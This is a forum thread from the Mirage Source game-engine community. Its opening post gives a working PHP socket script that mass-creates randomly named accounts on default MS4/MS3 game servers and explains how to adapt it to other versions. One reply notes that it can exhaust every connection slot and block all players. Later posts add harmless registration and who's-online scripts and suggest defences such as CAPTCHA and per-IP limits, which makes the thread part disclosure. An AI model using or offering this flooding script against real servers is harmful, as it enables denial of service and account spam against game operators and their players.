Mirage Source

Free ORPG making software.
It is currently Sat Apr 20, 2024 1:55 pm

All times are UTC




Post new topic Reply to topic  [ 12 posts ] 
Author Message
 Post subject: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:32 am 
Offline
Knowledgeable
User avatar

Joined: Mon May 29, 2006 6:23 pm
Posts: 128
Just so you guys know, the default MS4/MS3.0.3/etc. are all susceptible to malicious PHP scripts.

PHP Code: This scriptlet creates 51 accounts with randomly generated usernames. The password is static simply because I was lazy and this is only for demonstration purposes. It only takes a few seconds for this script to create 500 accounts. Basically, it's not super harmful to gameplay other than taking up one socket, using some bandwith, and wasting space (but when you can buy 1TB harddrives, the account sizes are negligible). This script is for MS4, but simply change the packet sent to the server and it will work for all versions.
Code:
<?php
   /* Variables used in this script:
   -   $_socket      The socket variable.
   -   $_connection      The connection attempt variable.
   -   $_packet      The outgoing data variable.
   -   $_data      The incoming data variable.

   -   $_sc      SEP_CHAR
   -   $_ec      END_CHAR

   -   $username
   -   $password
   */

   function random_username(){
      $length = rand(3, 14);
      for( $i = 1; $i <= $length; $i++ ){
         $username .= chr(rand(97, 122));
      };

      return $username;
   };

   for( $i = 0; $i <= 50; $i++ ){
      $username = random_username();
      $password = 'phpscript';

      if( $username != NULL && $password != NULL ){
         set_time_limit(0); // How long should this script run before it stops?

         $_socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die(socket_strerror(socket_last_error())); // Create the socket.
         $_connection = @socket_connect($_socket, 'localhost', 7000) or die(socket_strerror(socket_last_error())); // Connect to server.

         $_sc = chr(0); // SEP_CHAR
         $_ec = chr(237); // END_CHAR

         // New Account Packet
         $_packet = 2 . $_sc . $username . $_sc . $password . $_ec; // Create the packet data.
         @socket_write($_socket, $_packet) or die(socket_strerror(socket_last_error()));

         if( $_data = @socket_read($_socket, 1024) ){
            $_data = explode($_sc, trim($_data, $_ec)); // Explode $_sc.
            $_data[1] = strtolower($_data[1]); // Discard all information except the message that was sent and put everything in lowercase (easier comparison).

            if( $_data[1] == 'your account has been created!' ){ // We received a message that the account was successfully created.
               echo 'Your account, (username: ' . $username . ', password: ' . $password . '), has been created.';
            }elseif( $_data[1] == 'sorry, that account name is already taken!' ){ // The requested username already exists.
               echo 'That account name is already taken.';
            }else{
               echo 'Unknown error.';
            };

            echo "<br>\r\n";
         };

         @socket_shutdown($_socket); // Shutdown the socket.         // or die(socket_strerror(socket_last_error()));
         @socket_close($_socket); // Close the socket.         // or die(socket_strerror(socket_last_error()));
      }else{
         echo 'No username/password specified.';
      };
   };
?>


Images:
SPOILER: (click to show)
Image
Image


Have fun.


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:52 am 
Offline
Knowledgeable
User avatar

Joined: Sun Dec 14, 2008 4:28 am
Posts: 106
Location: Roanoke, VA, US
I assume this teaches how to take a server out? (At least if you have more than one person doing this at once on different IPs/Computers)

_________________
:d


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:53 am 
Offline
Persistant Poster
User avatar

Joined: Wed Nov 29, 2006 11:25 pm
Posts: 860
Location: Ayer
Wow, so registration through browser is possible?

_________________
Image


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:55 am 
Offline
Pro
User avatar

Joined: Tue Apr 22, 2008 2:15 am
Posts: 597
ummm.... i would guess so...


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:56 am 
Offline
Pro
User avatar

Joined: Mon May 29, 2006 3:26 pm
Posts: 493
Location: São Paulo, Brasil
Google Talk: blackagesbr@gmail.com
Change your server to sql based. Then make it only possible to create account from the website, then add a CAPTCHA. Fixed.

_________________
http://www.blackages.com.br
Image
Dave wrote:
GameBoy wrote:
www.FreeMoney.com
I admit I clicked. I immediately closed upon realizing there was, in fact, no free money.
Robin wrote:
I love you and your computer.Marry me.


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:58 am 
Offline
Knowledgeable
User avatar

Joined: Mon May 29, 2006 6:23 pm
Posts: 128
Senseika wrote:
I assume this teaches how to take a server out? (At least if you have more than one person doing this at once on different IPs/Computers)
Sure, a person could easily max out all the sockets on a single script. It wouldn't crash the server, but nobody would be able to connect.

Tony wrote:
Wow, so registration through browser is possible?
Code:
<?php
   /* Variables used in this script:
   -   $_dir      Directory to where the users' accounts are stored.
   -   $_filename      Filename of the user that is going to be created.
   -   $_handle      Opened file handle.
   -   $_data      The .ini file data.

   -   $username
   -   $password
   */

   $username = 'cruzn';
   $password = 'notcruzn';

   $_dir = 'C:\\Documents and Settings\\path\\to\\Accounts\\'; // Notice: TRAILING SLASH.
   $_filename = $username . '.ini'; // Filename of the user (simply the requested username with .ini at the end.

   if( file_exists($_dir) ){ // Make sure the directory we want exists.
      if( !file_exists($_dir . $_filename) ){ // Check to see if the file exists (failure = username already taken).
         if( $_handle = fopen($_dir . $_filename, "w") ){ // Username is free, open (and create) the user's .ini file.
            // This is all the data that will be put into the user's .ini file.
            $_data = '[GENERAL]
Login=' . $username . '
Password=' . $password . '
[CHAR1]
Class=1
Map=1
X=10
Y=6
[CHAR2]
Class=1
Map=1
X=10
Y=6
[CHAR3]
Class=1
Map=1
X=10
Y=6';

            fwrite($_handle, $_data) or die('Error writing to file.'); // Create the account by writing in all the data.
            fclose($_handle) or die; // Close the file.
         };
      }else{ // The account already exists.
         echo 'Account already exists.';
      };
   }else{
      echo 'Could not find the specified directory.';
   };
?>
Old code, and it's for Elysium, but yes -- you can register through a browser.


Also, and online script (again, old code and for Elysium):
Code:
<?
   set_time_limit(2);

   $socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); // Create the Socket
   $connection = @socket_connect($socket, "127.0.0.1", 4000); // Connect to server

   $message = "whosonline" . chr(0) . chr(237);
   @socket_write($socket, $message) or die("Could not write output.");

   $data = @socket_read($socket, 2046);
   list($packet, $data, $a) = explode(chr(0), $data);

   echo "1: " . $packet . " = \"" . $data . "\"";
   if( $packet == "PLAYERMSG" ){
      if( @preg_match('#There are (.*?) other players online:#', $data, $a) ){
         if( @preg_match('#There are ' . $a[1] . ' other players online: (.*).#', $data, $b) ){
            $players = explode(", ", $b[1]);
            while( list(, $id) = each($players) ){
               echo "Player:&nbsp;" . $id . "\n<br>";
               $message = "playerinforequest" . chr(0) . $id . chr(237);
               @socket_write($socket, $message) or die("Could not write output.");

               $data = @socket_read($socket, 2046);
               list($packet, $data) = explode(chr(0), $data);
               if( $packet == "PLAYERMSG" ){
                  echo $data . '<br>';
               };
            };
         };            
      }elseif( $data == "There are no other players online." ){
         @socket_close($socket);
         die('No players online.');
      }else{
         @socket_close($socket);
         die('Received incorrect data. "' . $data . '"');
      };
   };
?>


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 1:59 am 
Offline
Persistant Poster
User avatar

Joined: Wed Nov 29, 2006 11:25 pm
Posts: 860
Location: Ayer
Dragoons Master wrote:
Change your server to sql based. Then make it only possible to create account from the website, then add a CAPTCHA. Fixed.


You make it sound so easy :\

_________________
Image


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 2:41 am 
Offline
Pro
User avatar

Joined: Wed Jun 07, 2006 8:04 pm
Posts: 464
Location: MI
Google Talk: asrrin29@gmail.com
I'm already a step ahead of you, lol.

_________________
Image
Image


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 4:20 am 
Offline
Pro
User avatar

Joined: Mon May 29, 2006 3:26 pm
Posts: 493
Location: São Paulo, Brasil
Google Talk: blackagesbr@gmail.com
Tony wrote:
Dragoons Master wrote:
Change your server to sql based. Then make it only possible to create account from the website, then add a CAPTCHA. Fixed.


You make it sound so easy :\

My game is already in mysql, so all I need is change the registration from the client to the browser.

_________________
http://www.blackages.com.br
Image
Dave wrote:
GameBoy wrote:
www.FreeMoney.com
I admit I clicked. I immediately closed upon realizing there was, in fact, no free money.
Robin wrote:
I love you and your computer.Marry me.


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 6:40 am 
Offline
Persistant Poster
User avatar

Joined: Wed Nov 29, 2006 11:25 pm
Posts: 860
Location: Ayer
So umm hows it unsafe if you can check if the packet came from your website?

_________________
Image


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 12:37 pm 
Offline
Pro
User avatar

Joined: Tue Nov 13, 2007 2:42 pm
Posts: 509
You could be hardcore and limit the amount of accounts created per IP address.


Top
 Profile  
 
 Post subject: Re: PHP Scripts. . . =(
PostPosted: Fri Apr 10, 2009 7:35 pm 
Offline
Newbie
User avatar

Joined: Thu Mar 19, 2009 8:30 pm
Posts: 19
you could just limit an ip to making only two accounts per day problem solved
or encrypt all the packets


Top
 Profile  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 12 posts ] 

All times are UTC


Who is online

Users browsing this forum: No registered users and 3 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:
Jump to:  
cron
Powered by phpBB® Forum Software © phpBB Group